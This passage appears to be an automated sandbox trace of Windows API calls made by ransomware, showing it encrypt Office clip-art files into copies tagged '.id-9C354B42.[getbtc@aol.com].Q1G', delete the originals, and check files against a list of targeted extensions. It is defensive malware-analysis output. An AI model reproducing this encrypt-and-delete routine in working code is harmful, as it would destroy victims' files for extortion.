Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0255.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.750] lstrlenW (lpString=".doc") returned 4 [0255.750] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString=".docx") returned 5 [0255.750] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0255.750] lstrlenW (lpString=".pdf") returned 4 [0255.750] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString=".xls") returned 4 [0255.750] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString=".xlsx") returned 5 [0255.750] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0255.750] lstrlenW (lpString=".ppt") returned 4 [0255.750] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.750] lstrlenW (lpString=".zip") returned 4 [0255.750] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString=".rar") returned 4 [0255.750] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString=".bz2") returned 4 [0255.750] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString=".7z") returned 3 [0255.750] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.750] lstrlenW (lpString=".dbf") returned 4 [0255.750] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.750] lstrlenW (lpString=".1cd") returned 4 [0255.750] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.750] lstrlenW (lpString=".jpg") returned 4 [0255.750] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.751] lstrlenW (lpString=".doc") returned 4 [0255.751] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString=".docx") returned 5 [0255.751] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0255.751] lstrlenW (lpString=".pdf") returned 4 [0255.751] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString=".xls") returned 4 [0255.751] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString=".xlsx") returned 5 [0255.751] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0255.751] lstrlenW (lpString=".ppt") returned 4 [0255.751] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.751] lstrlenW (lpString=".zip") returned 4 [0255.751] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString=".rar") returned 4 [0255.751] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString=".bz2") returned 4 [0255.751] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString=".7z") returned 3 [0255.751] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.751] lstrlenW (lpString=".dbf") returned 4 [0255.751] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.751] lstrlenW (lpString=".1cd") returned 4 [0255.751] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0255.752] lstrlenW (lpString=".jpg") returned 4 [0255.752] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.822] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.822] lstrlenW (lpString="J0101980.WMF") returned 12 [0255.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.823] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=16104) returned 1 [0255.823] CloseHandle (hObject=0x1fc) returned 1 [0255.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20 [0255.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.824] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.825] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0255.826] GetLastError () returned 0x0 [0255.826] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3ee8, lpOverlapped=0x0) returned 1 [0255.830] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0255.831] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.831] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.831] SetEndOfFile (hFile=0x3c8) returned 1 [0255.831] CloseHandle (hObject=0x3c8) returned 1 [0255.831] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.831] SetEndOfFile (hFile=0x1fc) returned 1 [0255.833] CloseHandle (hObject=0x1fc) returned 1 [0255.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0255.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.834] lstrlenW (lpString=".doc") returned 4 [0255.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.834] lstrlenW (lpString=".docx") returned 5 [0255.834] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.834] lstrlenW (lpString=".pdf") returned 4 [0255.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.834] lstrlenW (lpString=".xls") returned 4 [0255.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.834] lstrlenW (lpString=".xlsx") returned 5 [0255.834] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.834] lstrlenW (lpString=".ppt") returned 4 [0255.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.835] lstrlenW (lpString=".zip") returned 4 [0255.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.835] lstrlenW (lpString=".rar") returned 4 [0255.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString=".bz2") returned 4 [0255.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString=".7z") returned 3 [0255.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.835] lstrlenW (lpString=".dbf") returned 4 [0255.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.835] lstrlenW (lpString=".1cd") returned 4 [0255.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.835] lstrlenW (lpString=".jpg") returned 4 [0255.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.835] lstrlenW (lpString=".doc") returned 4 [0255.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString=".docx") returned 5 [0255.835] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.835] lstrlenW (lpString=".pdf") returned 4 [0255.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString=".xls") returned 4 [0255.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.835] lstrlenW (lpString=".xlsx") returned 5 [0255.835] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.835] lstrlenW (lpString=".ppt") returned 4 [0255.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.835] lstrlenW (lpString=".zip") returned 4 [0255.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.835] lstrlenW (lpString=".rar") returned 4 [0255.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.836] lstrlenW (lpString=".bz2") returned 4 [0255.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.836] lstrlenW (lpString=".7z") returned 3 [0255.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.836] lstrlenW (lpString=".dbf") returned 4 [0255.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.836] lstrlenW (lpString=".1cd") returned 4 [0255.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0255.836] lstrlenW (lpString=".jpg") returned 4 [0255.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.836] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.836] lstrlenW (lpString="J0102594.WMF") returned 12 [0255.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.836] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=27000) returned 1 [0255.837] CloseHandle (hObject=0x1fc) returned 1 [0255.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20 [0255.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.837] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.837] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0255.838] GetLastError () returned 0x0 [0255.838] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x6978, lpOverlapped=0x0) returned 1 [0255.840] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x6980, lpOverlapped=0x0) returned 1 [0255.841] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.841] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.842] SetEndOfFile (hFile=0x3c8) returned 1 [0255.842] CloseHandle (hObject=0x3c8) returned 1 [0255.842] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.842] SetEndOfFile (hFile=0x1fc) returned 1 [0255.844] CloseHandle (hObject=0x1fc) returned 1 [0255.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0255.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.845] lstrlenW (lpString=".doc") returned 4 [0255.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.845] lstrlenW (lpString=".docx") returned 5 [0255.845] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.845] lstrlenW (lpString=".pdf") returned 4 [0255.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.845] lstrlenW (lpString=".xls") returned 4 [0255.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.845] lstrlenW (lpString=".xlsx") returned 5 [0255.845] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0255.845] lstrlenW (lpString=".ppt") returned 4 [0255.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.846] lstrlenW (lpString=".zip") returned 4 [0255.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.846] lstrlenW (lpString=".rar") returned 4 [0255.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString=".bz2") returned 4 [0255.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString=".7z") returned 3 [0255.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.846] lstrlenW (lpString=".dbf") returned 4 [0255.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.846] lstrlenW (lpString=".1cd") returned 4 [0255.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.846] lstrlenW (lpString=".jpg") returned 4 [0255.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.846] lstrlenW (lpString=".doc") returned 4 [0255.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString=".docx") returned 5 [0255.846] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.846] lstrlenW (lpString=".pdf") returned 4 [0255.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString=".xls") returned 4 [0255.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.846] lstrlenW (lpString=".xlsx") returned 5 [0255.846] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0255.846] lstrlenW (lpString=".ppt") returned 4 [0255.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.846] lstrlenW (lpString=".zip") returned 4 [0255.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.846] lstrlenW (lpString=".rar") returned 4 [0255.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.846] lstrlenW (lpString=".bz2") returned 4 [0255.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.847] lstrlenW (lpString=".7z") returned 3 [0255.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.847] lstrlenW (lpString=".dbf") returned 4 [0255.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.847] lstrlenW (lpString=".1cd") returned 4 [0255.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0255.847] lstrlenW (lpString=".jpg") returned 4 [0255.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.847] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.847] lstrlenW (lpString="J0102762.WMF") returned 12 [0255.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.847] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=11216) returned 1 [0255.848] CloseHandle (hObject=0x1fc) returned 1 [0255.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20 [0255.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.848] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.848] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0255.849] GetLastError () returned 0x0 [0255.849] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2bd0, lpOverlapped=0x0) returned 1 [0255.850] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0255.851] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.851] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.851] SetEndOfFile (hFile=0x3c8) returned 1 [0255.851] CloseHandle (hObject=0x3c8) returned 1 [0255.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.852] SetEndOfFile (hFile=0x1fc) returned 1 [0255.853] CloseHandle (hObject=0x1fc) returned 1 [0255.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0255.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.854] lstrlenW (lpString=".doc") returned 4 [0255.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.854] lstrlenW (lpString=".docx") returned 5 [0255.854] 